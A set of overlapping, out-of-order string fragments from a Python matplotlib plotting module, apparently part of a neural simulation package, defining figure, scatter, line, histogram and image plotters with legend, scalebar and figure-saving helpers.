": the coordinate frame (typically axes.transData) - sizex,sizey : width",
"value > maxvalue: try: value = round_to_n(0.8 * maxvalue *",
"self.sim = sim self.axis = axis if metafig: self.metafig =",
"data.get('marker') self.markersize = data.get('markersize') self.linewidth = data.get('linewidth') self.alpha = data.get('alpha')",
"a horizontal and/or vertical bar with the size in data",
"legendKwargs_new = kwargs['legendKwargs'] for key in legendKwargs_new: if key in",
"rcParam in mpl.rcParams: mpl.rcParams[rcParam] = rcParams[rcParam] else: print(rcParam, 'not found",
"fileName.endswith(fileExt): fileName = fileName.split(fileExt)[0] + fileDesc + fileExt else: fileName",
"**kwargs): super().__init__(data=data, axis=axis, **kwargs) self.kind = 'image' self.X = data.get('X')",
"dpi = kwargs['dpi'] else: dpi = self.rcParams['figure.dpi'] if autosize: maxplots",
"HistPlotter(GeneralPlotter): \"\"\"A class used for histogram plotting\"\"\" def __init__(self, data,",
"self.s = data.get('s') self.c = data.get('c') self.marker = data.get('marker') self.linewidth",
"= data.get('marker') self.markersize = data.get('markersize') self.linewidth = data.get('linewidth') self.alpha =",
"MetaFigure(kind=self.kind, **kwargs) self.fig = self.metafig.fig self.axis = self.metafig.ax else: self.fig",
"if kwargs['scalebar'] is True: self.addScalebar() elif type(kwargs['scalebar']) == dict: self.addScalebar(**kwargs['scalebar'])",
"in kwargs: if kwargs['saveFig']: self.saveFig(**kwargs) if 'showFig' in kwargs: if",
"None) self.data = data.get('data', None) def plot(self, **kwargs): imagePlot =",
"pad=0, sep=sep) if sizey and labely: self.ylabel = TextArea(labely) bars",
"from matplotlib.offsetbox import AuxTransformBox, VPacker, HPacker, TextArea, DrawingArea bars =",
"addLegend(self, handles=None, labels=None, **kwargs): legendParams = ['loc', 'bbox_to_anchor', 'fontsize', 'numpoints',",
"axis=None, options={}, **kwargs): super().__init__(data=data, axis=axis, **kwargs) self.kind = 'histogram' self.x",
"data if not sim: from .. import sim self.sim =",
"= '.' + fileType if not fileName or not isinstance(fileName,",
"= (ylim0 + space, ylim1) axis.set_ylim(ylim) scalebar = AnchoredScaleBar(axis, **kwargs)",
"= data.get('vmax', None) self.origin = data.get('origin', None) self.extent = data.get('extent',",
"space, ylim1) axis.set_ylim(ylim) scalebar = AnchoredScaleBar(axis, **kwargs) axis.add_artist(scalebar) if hidex:",
"bars = VPacker(children=[bars, self.xlabel], align=\"center\", pad=0, sep=sep) if sizey and",
"metafig=None, **kwargs): \"\"\" Parameters ---------- data : dict, str axis",
"used for scatter plotting\"\"\" def __init__(self, data, axis=None, **kwargs): super().__init__(data=data,",
"legendKwargs = {} for kwarg in kwargs: if kwarg in",
"data.get('filternorm', True) self.filterrad = data.get('filterrad', 4.0) self.resample = data.get('resample', None)",
"0.59], [0.90, 0.32, 0.00], [0.34, 0.67, 0.67], [0.90, 0.59, 0.00],",
"..analysis import loadData self.data = loadData(fileName=fileName, fileDir=fileDir, sim=None) def saveData(self,",
"ylim1) if ylim0 > ylim1: # if y axis is",
"== dict: self.axis.grid(**kwargs['grid']) # If this is the only axis",
"The axis to plot into. If axis is set to",
"Returns created scalebar object \"\"\" def get_tick_size(subaxis): tick_size = None",
"m: int(np.ceil(round(value, -int(np.floor(np.log10(abs(value)))) + (n - 1)) / m)) *",
"**kwargs): from ..analysis import saveData as saveFigData saveFigData(self.data, fileName=fileName, fileDesc=fileDesc,",
"= data.get('alpha') self.label = data.get('label') def plot(self, **kwargs): numLines =",
"'lines' self.x = np.array(data.get('x')) self.y = np.array(data.get('y')) self.color = data.get('color')",
"of parent - **kwargs : additional arguments passed to AnchoredScaleBars",
"super().__init__(data=data, axis=axis, **kwargs) self.kind = 'line' self.x = np.array(data.get('x')) self.y",
"self.range = data.get('range', None) self.density = data.get('density', False) self.weights =",
"kwargs: if kwargs['legend'] is True: self.addLegend(**kwargs) elif type(kwargs['legend']) == dict:",
"if kwargs['grid'] is True: self.axis.grid() elif type(kwargs['grid']) == dict: self.axis.grid(**kwargs['grid'])",
"markersize=markersizes[index], linewidth=linewidths[index], alpha=alphas[index], label=labels[index], ) self.finishAxis(**kwargs) return self.fig class HistPlotter(GeneralPlotter):",
"line in range(numLines)] else: markers = self.marker if type(self.markersize) !=",
"fileName def showFig(self, **kwargs): try: self.fig.show(block=False) except: self.fig.show() def addSuptitle(self,",
"= self.linewidth if type(self.alpha) != list: alphas = [self.alpha for",
"np.array(data.get('x')) self.y = np.array(data.get('y')) self.color = data.get('color') self.marker = data.get('marker')",
"scaley=1.0, xmax=None, ymax=None, space=None, **kwargs): \"\"\" Add scalebars to axes",
"data.get('alpha') self.label = data.get('label') def plot(self, **kwargs): numLines = len(self.y)",
"self.metafig.plotters.append(self) def loadData(self, fileName, fileDir=None, sim=None): from ..analysis import loadData",
"and axis are created and plotted into. If plotting into",
"= cur_handles if not labels: labels = cur_labels self.axis.legend(handles, labels,",
"plotting one line per subplot\"\"\" def __init__(self, data, axis=None, options={},",
"data.get('bins', None) self.range = data.get('range', None) self.density = data.get('density', False)",
"more options are available: xtwin, ytwin, \"\"\" self.kind = kind",
"'handlelength', 'handletextpad', 'borderaxespad', 'columnspacing', 'handler_map'] # Check for and apply",
"scaley) if xmax is not None and sizex>xmax: sizex =",
"else: self.fig = self.axis.figure # Attach plotter to its MetaFigure",
"= [self.alpha for line in range(numLines)] else: alphas = self.alpha",
"new figure and axis if self.axis is None: final =",
"sizey = kwargs['sizey'] def autosize(value, maxvalue, scale, n=1, m=10): round_to_n",
"else: colors = self.color if type(self.marker) != list: markers =",
"0.10]] * 3 class MetaFigure: \"\"\"A class which defines a",
"[figSize0, figSize1] self.fig, self.ax = plt.subplots(nrows, ncols, figsize=figSize, dpi=dpi) self.plotters",
"figure, finish the figure if type(self.metafig.ax) != list: self.metafig.finishFig(**kwargs) #",
"data, axis=None, **kwargs): super().__init__(data=data, axis=axis, **kwargs) self.kind = 'scatter' self.x",
"and sizey params - hidex,hidey : if True, hide x-axis",
"ncols = 1 elif type(subplots) == int: nrows = subplots",
"\"\"\" Parameters ---------- data : dict, str axis : matplotlib",
"list: markersizes = [self.markersize for line in range(numLines)] else: markersizes",
"not in kwargs or kwargs['labely'] is None: kwargs['labely'] = '%.3g",
"= data.get('filternorm', True) self.filterrad = data.get('filterrad', 4.0) self.resample = data.get('resample',",
"space=None, **kwargs): \"\"\" Add scalebars to axes Adds a set",
"data.get('x') self.bins = data.get('bins', None) self.range = data.get('range', None) self.density",
"for scatter plotting\"\"\" def __init__(self, data, axis=None, **kwargs): super().__init__(data=data, axis=axis,",
"self.x = data.get('x') self.y = data.get('y') self.s = data.get('s') self.c",
"matchy=True, hidex=True, hidey=True, unitsx=None, unitsy=None, scalex=1.0, scaley=1.0, xmax=None, ymax=None, space=None,",
"4.0) self.resample = data.get('resample', None) self.url = data.get('url', None) self.data",
"if unitsx is None: unitsx = '' if unitsy is",
"**kwargs): super().__init__(data=data, axis=axis, **kwargs) self.kind = 'lines' self.x = np.array(data.get('x'))",
"= get_tick_size(axis.xaxis) if matchy: sizey = get_tick_size(axis.yaxis) if 'sizex' in",
"MetaFigure self.metafig.plotters.append(self) def loadData(self, fileName, fileDir=None, sim=None): from ..analysis import",
"= self.axis.scatter(x=self.x, y=self.y, s=self.s, c=self.c, marker=self.marker, linewidth=self.linewidth, cmap=self.cmap, norm=self.norm, alpha=self.alpha,",
"if ylim0 > ylim1: # if y axis is inverted",
"s=self.s, c=self.c, marker=self.marker, linewidth=self.linewidth, cmap=self.cmap, norm=self.norm, alpha=self.alpha, linewidths=self.linewidths) self.finishAxis(**kwargs) return",
"= fileName.split(fileExt)[0].split('_')[-1] fileNumStrNew = str(int(fileNumStr) + 1).zfill(2) fileName = fileName.split('_'",
"fileName = fileName + fileDesc + fileExt if fileDir is",
"0.47], [1.00, 0.38, 0.60], [0.57, 0.67, 0.33], [0.50, 0.20, 0.00],",
"None) self.extent = data.get('extent', None) self.aspect = data.get('aspect', None) self.interpolation",
"handles=None, labels=None, **kwargs): legendParams = ['loc', 'bbox_to_anchor', 'fontsize', 'numpoints', 'scatterpoints',",
"[0.90, 0.76, 0.00], [0.42, 0.83, 0.59], [0.90, 0.32, 0.00], [0.34,",
"if 'figSize' in kwargs: if kwargs['figSize']: self.fig.set_size_inches(kwargs['figSize']) if 'legend' in",
"fileType=fileType, fileDir=fileDir, sim=sim, **kwargs) def formatAxis(self, **kwargs): if 'title' in",
"in saveFig') else: fileExt = '.' + fileType if not",
"[0.90, 0.59, 0.00], [0.42, 0.82, 0.83], [1.00, 0.85, 0.00], [0.33,",
"data.get('linewidths') def plot(self, **kwargs): scatterPlot = self.axis.scatter(x=self.x, y=self.y, s=self.s, c=self.c,",
"on the figure, finish the figure if type(self.metafig.ax) != list:",
"is None: kwargs['labelx'] = '%.3g %s'%(kwargs['sizex'] * scalex, unitsx) if",
"os.path.join(fileDir, fileName) if not overwrite: while os.path.isfile(fileName): try: fileNumStr =",
"self.norm = data.get('norm', None) self.aspect = data.get('aspect', None) self.interpolation =",
"super().__init__(data=data, axis=axis, **kwargs) self.kind = 'lines' self.x = np.array(data.get('x')) self.y",
"None) self.density = data.get('density', False) self.weights = data.get('weights', None) self.cumulative",
"class used for plotting one line per subplot\"\"\" def __init__(self,",
"VPacker, HPacker, TextArea, DrawingArea bars = AuxTransformBox(axis.transData) if sizex: if",
"sizey, ec=barcolor, lw=barwidth, fc=\"none\")) if sizex and labelx: self.xlabel =",
"'_' + self.kind if fileType not in self.fig.canvas.get_supported_filetypes(): raise Exception('fileType",
"fileName = self.sim.cfg.filename + fileDesc + fileExt else: if fileName.endswith(fileExt):",
"copy of the current matplotlib rcParams and update them self.orig_rcParams",
"data.get('color', None) self.alpha = data.get('alpha', None) self.label = data.get('label', None)",
"data.get('histtype', 'bar') self.align = data.get('align', 'mid') self.orientation = data.get('orientation', 'vertical')",
"== dict: self.addLegend(**kwargs['legend']) if 'scalebar' in kwargs: if kwargs['scalebar'] is",
"available: xtwin, ytwin, \"\"\" self.kind = kind # Load data",
"subplots if not subplots: nrows = 1 ncols = 1",
"self.xlabel], align=\"center\", pad=0, sep=sep) if sizey and labely: self.ylabel =",
"kwargs: self.axis.set_title(kwargs['title']) if 'xlabel' in kwargs: self.axis.set_xlabel(kwargs['xlabel']) if 'ylabel' in",
"= data.get('norm', None) self.aspect = data.get('aspect', None) self.interpolation = data.get('interpolation',",
"linewidths = [self.linewidth for line in range(numLines)] else: linewidths =",
"autosize: maxplots = np.max([nrows, ncols]) figSize0 = figSize[0] + (maxplots-1)*(figSize[0]*autosize)",
"as plt import numpy as np from copy import deepcopy",
"is None: final = True self.metafig = MetaFigure(kind=self.kind, **kwargs) self.fig",
"figSize1 = figSize[1] + (maxplots-1)*(figSize[1]*autosize) figSize = [figSize0, figSize1] self.fig,",
"**kwargs) self.kind = 'line' self.x = np.array(data.get('x')) self.y = np.array(data.get('y'))",
"if 'saveData' in kwargs: if kwargs['saveData']: self.saveData(**kwargs) if 'dpi' in",
"self.kind = 'scatter' self.x = data.get('x') self.y = data.get('y') self.s",
"ec=barcolor, lw=barwidth, fc=\"none\")) if sizey: if axis.yaxis_inverted(): sizey = -sizey",
"super().__init__(data=data, axis=axis, **kwargs) self.kind = 'scatter' self.x = data.get('x') self.y",
"0, sizey, ec=barcolor, lw=barwidth, fc=\"none\")) if sizex and labelx: self.xlabel",
"kwargs['figSize']: self.fig.set_size_inches(kwargs['figSize']) if 'legend' in kwargs: if kwargs['legend'] is True:",
"'svg': 'Scalable Vector Graphics', 'svgz': 'Scalable Vector Graphics', 'tif': 'Tagged",
"= 'histogram' self.x = data.get('x') self.bins = data.get('bins', None) self.range",
"bins=self.bins, range=self.range, density=self.density, weights=self.weights, cumulative=self.cumulative, bottom=self.bottom, histtype=self.histtype, align=self.align, orientation=self.orientation, rwidth=self.rwidth,",
"---------- data : dict, str axis : matplotlib axis The",
"rcParams: for rcParam in rcParams: if rcParam in mpl.rcParams: mpl.rcParams[rcParam]",
"None: unitsx = '' if unitsy is None: unitsy =",
"axis=None, options={}, **kwargs): super().__init__(data=data, axis=axis, **kwargs) self.kind = 'image' self.X",
"xmax=None, ymax=None, space=None, **kwargs): \"\"\" Add scalebars to axes Adds",
"+ fileExt else: if fileName.endswith(fileExt): fileName = fileName.split(fileExt)[0] + fileDesc",
"self.xlabel = TextArea(labelx) bars = VPacker(children=[bars, self.xlabel], align=\"center\", pad=0, sep=sep)",
"= data.get('linewidth') self.cmap = data.get('cmap') self.norm = data.get('norm') self.alpha =",
"None) self.norm = data.get('norm', None) self.aspect = data.get('aspect', None) self.interpolation",
"for rcParam in rcParams: if rcParam in mpl.rcParams: mpl.rcParams[rcParam] =",
"arguments passed to AnchoredScaleBars Returns created scalebar object \"\"\" def",
"\"\"\" 'eps': 'Encapsulated Postscript', 'jpg': 'Joint Photographic Experts Group', 'jpeg':",
"to spacing between ticks, if False, set size using sizex",
"if kwargs['xlim'] is not None: self.axis.set_xlim(kwargs['xlim']) if 'ylim' in kwargs:",
"rcParams else: self.rcParams = self.orig_rcParams # Set up any subplots",
"bars.add_artist(Rectangle((0,0), sizex, 0, ec=barcolor, lw=barwidth, fc=\"none\")) if sizey: if axis.yaxis_inverted():",
"type(self.color) != list: colors = [self.color for line in range(numLines)]",
"plot there; otherwise make a new figure and axis if",
"self.rcParams = rcParams else: self.rcParams = self.orig_rcParams # Set up",
"'pgf': 'PGF code for LaTeX', 'png': 'Portable Network Graphics', 'ps':",
"in legendParams: legendKwargs[key] = legendKwargs_new[key] cur_handles, cur_labels = self.axis.get_legend_handles_labels() if",
"if matchx: sizex = get_tick_size(axis.xaxis) if matchy: sizey = get_tick_size(axis.yaxis)",
"self.align = data.get('align', 'mid') self.orientation = data.get('orientation', 'vertical') self.rwidth =",
"kwargs: if kwargs['showFig']: self.showFig(**kwargs) else: plt.close(self.fig) # Reset the matplotlib",
"in kwargs: figSize = kwargs['figSize'] else: figSize = self.rcParams['figure.figsize'] if",
"if kwargs['invert_yaxis'] is True: self.axis.invert_yaxis() def addLegend(self, handles=None, labels=None, **kwargs):",
"__init__(self, data, axis=None, options={}, **kwargs): super().__init__(data=data, axis=axis, **kwargs) self.kind =",
"= len(self.y) if type(self.color) != list: colors = [self.color for",
"labels = self.label for index, line in enumerate(self.y): self.axis.plot( self.x,",
"if metafig: self.metafig = metafig # If an axis is",
"ScatterPlotter(GeneralPlotter): \"\"\"A class used for scatter plotting\"\"\" def __init__(self, data,",
"self.saveFig(**kwargs) if 'showFig' in kwargs: if kwargs['showFig']: self.showFig(**kwargs) else: plt.close(self.fig)",
"in data coordinate of the give axes. A label will",
"except NameError: basestring = str colorList = [[0.42, 0.67, 0.84],",
"kwargs: self.axis.set_ylabel(kwargs['ylabel']) if 'xlim' in kwargs: if kwargs['xlim'] is not",
"= ['loc', 'bbox_to_anchor', 'fontsize', 'numpoints', 'scatterpoints', 'scatteryoffsets', 'markerscale', 'markerfirst', 'frameon',",
"options={}, **kwargs): super().__init__(data=data, axis=axis, **kwargs) self.kind = 'histogram' self.x =",
"def get_tick_size(subaxis): tick_size = None tick_locs = subaxis.get_majorticklocs() if len(tick_locs)>1:",
"not None: fileName = os.path.join(fileDir, fileName) if not overwrite: while",
"string, it must be the path to a data file.')",
"labely: self.ylabel = TextArea(labely) bars = HPacker(children=[self.ylabel, bars], align=\"center\", pad=0,",
"import matplotlib as mpl import matplotlib.pyplot as plt import numpy",
"def __init__(self, data, axis=None, **kwargs): super().__init__(data=data, axis=axis, **kwargs) self.kind =",
"x,y bar, in data units. 0 to omit - labelx,labely",
"'columnspacing', 'handler_map'] # Check for and apply any legend parameters",
"self.axis.minorticks_on() if kwargs['grid'] is True: self.axis.grid() elif type(kwargs['grid']) == dict:",
"fileNumStrNew + fileExt self.fig.savefig(fileName) self.fileName = fileName return fileName def",
"import loadData self.data = loadData(fileName=fileName, fileDir=fileDir, sim=None) def saveData(self, fileName=None,",
"/ scale except: value /= 10.0 m /= 10.0 return",
"+ (maxplots-1)*(figSize[1]*autosize) figSize = [figSize0, figSize1] self.fig, self.ax = plt.subplots(nrows,",
"type(self.markersize) != list: markersizes = [self.markersize for line in range(numLines)]",
"data.get('alpha', None) self.label = data.get('label', None) self.stacked = data.get('stacked', False)",
"'legendKwargs' is found in kwargs, use those values instead of",
"kwargs['labelx'] is None: kwargs['labelx'] = '%.3g %s'%(kwargs['sizex'] * scalex, unitsx)",
"not in kwargs: plt.tight_layout() elif kwargs['tightLayout']: plt.tight_layout() if 'saveFig' in",
"= data.get('log', False) self.color = data.get('color', None) self.alpha = data.get('alpha',",
"marker=markers[index], markersize=markersizes[index], linewidth=linewidths[index], alpha=alphas[index], label=labels[index], ) self.finishAxis(**kwargs) return self.fig class",
"= self.color if type(self.marker) != list: markers = [self.marker for",
"base class constructor \"\"\" from matplotlib.patches import Rectangle from matplotlib.offsetbox",
"= data.get('marker') self.linewidth = data.get('linewidth') self.cmap = data.get('cmap') self.norm =",
"= self.alpha if self.label is None: labels = [None for",
"scalebars to axes Adds a set of scale bars to",
"\"\"\" def get_tick_size(subaxis): tick_size = None tick_locs = subaxis.get_majorticklocs() if",
"= TextArea(labely) bars = HPacker(children=[self.ylabel, bars], align=\"center\", pad=0, sep=sep) AnchoredOffsetbox.__init__(self,",
"'handletextpad', 'borderaxespad', 'columnspacing', 'handler_map'] # Check for and apply any",
"None, a new figure and axis are created and plotted",
"axes.transData) - sizex,sizey : width of x,y bar, in data",
"kwargs: sizey = kwargs['sizey'] def autosize(value, maxvalue, scale, n=1, m=10):",
"plt.colorbar(mappable=self.axis.get_images()[0], ax=self.axis, **kwargs) def finishAxis(self, **kwargs): self.formatAxis(**kwargs) if 'saveData' in",
"plotting into an existing axis, more options are available: xtwin,",
"'raw': 'Raw RGBA bitmap', 'rgba': 'Raw RGBA bitmap', 'svg': 'Scalable",
"existing axis, more options are available: xtwin, ytwin, \"\"\" self.kind",
"= data.get('s') self.c = data.get('c') self.marker = data.get('marker') self.linewidth =",
"Make a copy of the current matplotlib rcParams and update",
"in kwargs: if kwargs['colorbar'] is True: self.addColorbar() elif type(kwargs['colorbar']) ==",
"space is not None: ylim0, ylim1 = axis.get_ylim() ylim =",
"dpi=dpi) self.plotters = [] def saveFig(self, sim=None, fileName=None, fileDesc=None, fileType='png',",
"0.82, 0.83], [1.00, 0.85, 0.00], [0.33, 0.67, 0.47], [1.00, 0.38,",
"def addSuptitle(self, **kwargs): self.fig.suptitle(**kwargs) def finishFig(self, **kwargs): if 'suptitle' in",
"self.axis.legend(handles, labels, **legendKwargs) def addScalebar(self, matchx=True, matchy=True, hidex=True, hidey=True, unitsx=None,",
"frame (typically axes.transData) - sizex,sizey : width of x,y bar,",
"m /= 10.0 return value if ymax is not None",
"self.fig.suptitle(**kwargs) def finishFig(self, **kwargs): if 'suptitle' in kwargs: if kwargs['suptitle']:",
"hidey=True, unitsx=None, unitsy=None, scalex=1.0, scaley=1.0, xmax=None, ymax=None, space=None, **kwargs): \"\"\"",
"for plotting\"\"\" def __init__(self, data, kind, axis=None, sim=None, rcParams=None, metafig=None,",
"= axis.get_ylim() ylim = (ylim0 - space, ylim1) if ylim0",
"there; otherwise make a new figure and axis if self.axis",
"= kind # Load data if type(data) == str: if",
"ylim = (ylim0 - space, ylim1) if ylim0 > ylim1:",
"0.41], [0.00, 0.20, 0.50], [0.70, 0.32, 0.10]] * 3 class",
"this is the only axis on the figure, finish the",
"= data.get('resample', None) self.url = data.get('url', None) self.data = data.get('data',",
"data.get('markersize') self.linewidth = data.get('linewidth') self.alpha = data.get('alpha') self.label = data.get('label')",
"the matplotlib rcParams to their original settings mpl.style.use(self.metafig.orig_rcParams) class ScatterPlotter(GeneralPlotter):",
"if kwargs['saveFig']: self.saveFig(**kwargs) if 'showFig' in kwargs: if kwargs['showFig']: self.showFig(**kwargs)",
"plt.imshow\"\"\" def __init__(self, data, axis=None, options={}, **kwargs): super().__init__(data=data, axis=axis, **kwargs)",
"import saveData as saveFigData saveFigData(self.data, fileName=fileName, fileDesc=fileDesc, fileType=fileType, fileDir=fileDir, sim=sim,",
"data, kind, axis=None, sim=None, rcParams=None, metafig=None, **kwargs): \"\"\" Parameters ----------",
"= data.get('y') self.s = data.get('s') self.c = data.get('c') self.marker =",
"vmin=self.vmin, vmax=self.vmax, origin=self.origin, extent=self.extent, filternorm=self.filternorm, filterrad=self.filterrad, resample=self.resample, url=self.url, data=self.data) self.finishAxis(**kwargs)",
": width of x,y bar, in data units. 0 to",
"fileName.split(fileNumStr)[0] + '_' + fileNumStrNew + fileExt self.fig.savefig(fileName) self.fileName =",
"dict: self.addLegend(**kwargs['legend']) if 'scalebar' in kwargs: if kwargs['scalebar'] is True:",
"not None: ylim0, ylim1 = axis.get_ylim() ylim = (ylim0 -",
"elif type(subplots) == list: nrows = subplots[0] ncols = subplots[1]",
"lw=barwidth, fc=\"none\")) if sizex and labelx: self.xlabel = TextArea(labelx) bars",
"kwargs['sizex'] = sizex kwargs['sizey'] = sizey if unitsx is None:",
"not None: self.axis.set_ylim(kwargs['ylim']) if 'invert_yaxis' in kwargs: if kwargs['invert_yaxis'] is",
"= data.get('data', None) def plot(self, **kwargs): imagePlot = self.axis.imshow(self.X, cmap=self.cmap,",
"= data.get('label') def plot(self, **kwargs): numLines = len(self.y) if type(self.color)",
"self.axis.set_title(kwargs['title']) if 'xlabel' in kwargs: self.axis.set_xlabel(kwargs['xlabel']) if 'ylabel' in kwargs:",
"loadData self.data = loadData(fileName=fileName, fileDir=fileDir, sim=None) def saveData(self, fileName=None, fileDesc=None,",
"kwargs['grid'] is True: self.axis.grid() elif type(kwargs['grid']) == dict: self.axis.grid(**kwargs['grid']) #",
"'colorbar' in kwargs: if kwargs['colorbar'] is True: self.addColorbar() elif type(kwargs['colorbar'])",
"self.fig.set_dpi(kwargs['dpi']) if 'figSize' in kwargs: if kwargs['figSize']: self.fig.set_size_inches(kwargs['figSize']) if 'legend'",
"line in range(numLines)] else: markersizes = self.markersize if type(self.linewidth) !=",
"self.addColorbar(**kwargs['colorbar']) if 'grid' in kwargs: self.axis.minorticks_on() if kwargs['grid'] is True:",
"while os.path.isfile(fileName): try: fileNumStr = fileName.split(fileExt)[0].split('_')[-1] fileNumStrNew = str(int(fileNumStr) +",
"the matplotlib rcParams to their original settings mpl.style.use(self.orig_rcParams) class GeneralPlotter:",
"tick_size = np.abs(tick_locs[1] - tick_locs[0]) return tick_size if matchx: sizex",
"fileDesc=fileDesc, fileType=fileType, fileDir=fileDir, sim=sim, **kwargs) def formatAxis(self, **kwargs): if 'title'",
"found in kwargs, use those values instead of the defaults",
"**kwargs): linePlot = self.axis.plot(self.x, self.y, color=self.color, marker=self.marker, markersize=self.markersize, linewidth=self.linewidth, alpha=self.alpha)",
"class GeneralPlotter: \"\"\"A class used for plotting\"\"\" def __init__(self, data,",
"markers = self.marker if type(self.markersize) != list: markersizes = [self.markersize",
": separation between labels and bars in points. - **kwargs",
"'vertical') self.rwidth = data.get('rwidth', None) self.log = data.get('log', False) self.color",
"!= list: linewidths = [self.linewidth for line in range(numLines)] else:",
"between labels and bars in points. - **kwargs : additional",
"size using sizex and sizey params - hidex,hidey : if",
"fileName return fileName def showFig(self, **kwargs): try: self.fig.show(block=False) except: self.fig.show()",
"range(numLines)] else: labels = self.label for index, line in enumerate(self.y):",
"= TextArea(labelx) bars = VPacker(children=[bars, self.xlabel], align=\"center\", pad=0, sep=sep) if",
"fc=\"none\")) if sizey: if axis.yaxis_inverted(): sizey = -sizey bars.add_artist(Rectangle((0,0), 0,",
"# Create figure if 'figSize' in kwargs: figSize = kwargs['figSize']",
"type(data) == str: if os.path.isfile(data): self.data = self.loadData(data) else: raise",
"dpi = self.rcParams['figure.dpi'] if autosize: maxplots = np.max([nrows, ncols]) figSize0",
"kwargs: if kwargs['scalebar'] is True: self.addScalebar() elif type(kwargs['scalebar']) == dict:",
"self.aspect = data.get('aspect', None) self.interpolation = data.get('interpolation', None) self.alpha =",
"'image' self.X = data.get('X') self.cmap = data.get('cmap', None) self.norm =",
"# Load data if type(data) == str: if os.path.isfile(data): self.data",
"the size to the ticks of the plot and optionally",
"self.vmin = data.get('vmin', None) self.vmax = data.get('vmax', None) self.origin =",
"line in range(numLines)] else: linewidths = self.linewidth if type(self.alpha) !=",
"kwargs: self.axis.set_xlabel(kwargs['xlabel']) if 'ylabel' in kwargs: self.axis.set_ylabel(kwargs['ylabel']) if 'xlim' in",
"the figure if type(self.metafig.ax) != list: self.metafig.finishFig(**kwargs) # Reset the",
"def autosize(value, maxvalue, scale, n=1, m=10): round_to_n = lambda value,",
"histogram plotting\"\"\" def __init__(self, data, axis=None, options={}, **kwargs): super().__init__(data=data, axis=axis,",
"fileDir=None, sim=None): from ..analysis import loadData self.data = loadData(fileName=fileName, fileDir=fileDir,",
"an existing axis, more options are available: xtwin, ytwin, \"\"\"",
".. import sim self.sim = sim self.kind = kind #",
"a string, it must be the path to a data",
"self.saveData(**kwargs) if 'dpi' in kwargs: if kwargs['dpi']: self.fig.set_dpi(kwargs['dpi']) if 'figSize'",
"drawn underneath (center-aligned). - transform : the coordinate frame (typically",
"lw=barwidth, fc=\"none\")) if sizey: if axis.yaxis_inverted(): sizey = -sizey bars.add_artist(Rectangle((0,0),",
"def finishFig(self, **kwargs): if 'suptitle' in kwargs: if kwargs['suptitle']: self.addSuptitle(**kwargs['suptitle'])",
"= data.get('density', False) self.weights = data.get('weights', None) self.cumulative = data.get('cumulative',",
"If axis is set to None, a new figure and",
"the figure, finish the figure if type(self.metafig.ax) != list: self.metafig.finishFig(**kwargs)",
"data.get('cmap', None) self.norm = data.get('norm', None) self.aspect = data.get('aspect', None)",
"ymax=None, space=None, **kwargs): \"\"\" Add scalebars to axes Adds a",
"None) self.vmax = data.get('vmax', None) self.origin = data.get('origin', None) self.extent",
"xmax is not None and sizex>xmax: sizex = autosize(sizex, xmax,",
"import sim self.sim = sim self.axis = axis if metafig:",
"norm=self.norm, alpha=self.alpha, linewidths=self.linewidths) self.finishAxis(**kwargs) return self.fig class LinePlotter(GeneralPlotter): \"\"\"A class",
"autosize(sizey, ymax, scaley) if xmax is not None and sizex>xmax:",
"axis=None, **kwargs): super().__init__(data=data, axis=axis, **kwargs) self.kind = 'scatter' self.x =",
"legendParams: legendKwargs[key] = legendKwargs_new[key] cur_handles, cur_labels = self.axis.get_legend_handles_labels() if not",
"apply any legend parameters in the kwargs legendKwargs = {}",
"False) self.color = data.get('color', None) self.alpha = data.get('alpha', None) self.label",
"axis, more options are available: xtwin, ytwin, \"\"\" self.kind =",
"raise Exception('fileType not recognized in saveFig') else: fileExt = '.'",
"to their original settings mpl.style.use(self.metafig.orig_rcParams) class ScatterPlotter(GeneralPlotter): \"\"\"A class used",
"'scatterpoints', 'scatteryoffsets', 'markerscale', 'markerfirst', 'frameon', 'fancybox', 'shadow', 'framealpha', 'facecolor', 'edgecolor',",
"if data is a string, it must be the path",
"None) self.filternorm = data.get('filternorm', True) self.filterrad = data.get('filterrad', 4.0) self.resample",
"unitsx=None, unitsy=None, scalex=1.0, scaley=1.0, xmax=None, ymax=None, space=None, **kwargs): \"\"\" Add",
"in kwargs or kwargs['labelx'] is None: kwargs['labelx'] = '%.3g %s'%(kwargs['sizex']",
"* maxvalue * scale, n, m) / scale except: value",
"Format', 'tiff': 'Tagged Image File Format' \"\"\" if not sim:",
"+ fileExt self.fig.savefig(fileName) self.fileName = fileName return fileName def showFig(self,",
"kwargs['xlim'] is not None: self.axis.set_xlim(kwargs['xlim']) if 'ylim' in kwargs: if",
"colors = [self.color for line in range(numLines)] else: colors =",
"if len(tick_locs)>1: tick_size = np.abs(tick_locs[1] - tick_locs[0]) return tick_size if",
"- sizex,sizey : width of x,y bar, in data units.",
"m while value > maxvalue: try: value = round_to_n(0.8 *",
"n, m) / scale except: value /= 10.0 m /=",
"labels: labels = cur_labels self.axis.legend(handles, labels, **legendKwargs) def addScalebar(self, matchx=True,",
"[0.42, 0.83, 0.59], [0.90, 0.32, 0.00], [0.34, 0.67, 0.67], [0.90,",
"1 ncols = 1 elif type(subplots) == int: nrows =",
"saveFig(self, sim=None, fileName=None, fileDesc=None, fileType='png', fileDir=None, overwrite=True, **kwargs): \"\"\" 'eps':",
"= data.get('x') self.bins = data.get('bins', None) self.range = data.get('range', None)",
"= 1 elif type(subplots) == list: nrows = subplots[0] ncols",
"image plotting using plt.imshow\"\"\" def __init__(self, data, axis=None, options={}, **kwargs):",
"kwargs['invert_yaxis'] is True: self.axis.invert_yaxis() def addLegend(self, handles=None, labels=None, **kwargs): legendParams",
"= '%.3g %s'%(kwargs['sizex'] * scalex, unitsx) if 'labely' not in",
"kwargs['saveFig']: self.saveFig(**kwargs) if 'showFig' in kwargs: if kwargs['showFig']: self.showFig(**kwargs) else:",
"self.fig.show() def addSuptitle(self, **kwargs): self.fig.suptitle(**kwargs) def finishFig(self, **kwargs): if 'suptitle'",
"fileExt else: if fileName.endswith(fileExt): fileName = fileName.split(fileExt)[0] + fileDesc +",
"pad=0.1, borderpad=0.1, sep=2, prop=None, barcolor=\"black\", barwidth=None, **kwargs): \"\"\" Draw a",
"used for image plotting using plt.imshow\"\"\" def __init__(self, data, axis=None,",
"**kwargs): super().__init__(data=data, axis=axis, **kwargs) self.kind = 'line' self.x = np.array(data.get('x'))",
"os from matplotlib.offsetbox import AnchoredOffsetbox try: basestring except NameError: basestring",
"def plot(self, **kwargs): histPlot = self.axis.hist(self.x, bins=self.bins, range=self.range, density=self.density, weights=self.weights,",
".. import sim self.sim = sim self.axis = axis if",
"= data.get('cmap') self.norm = data.get('norm') self.alpha = data.get('alpha') self.linewidths =",
"AnchoredOffsetbox try: basestring except NameError: basestring = str colorList =",
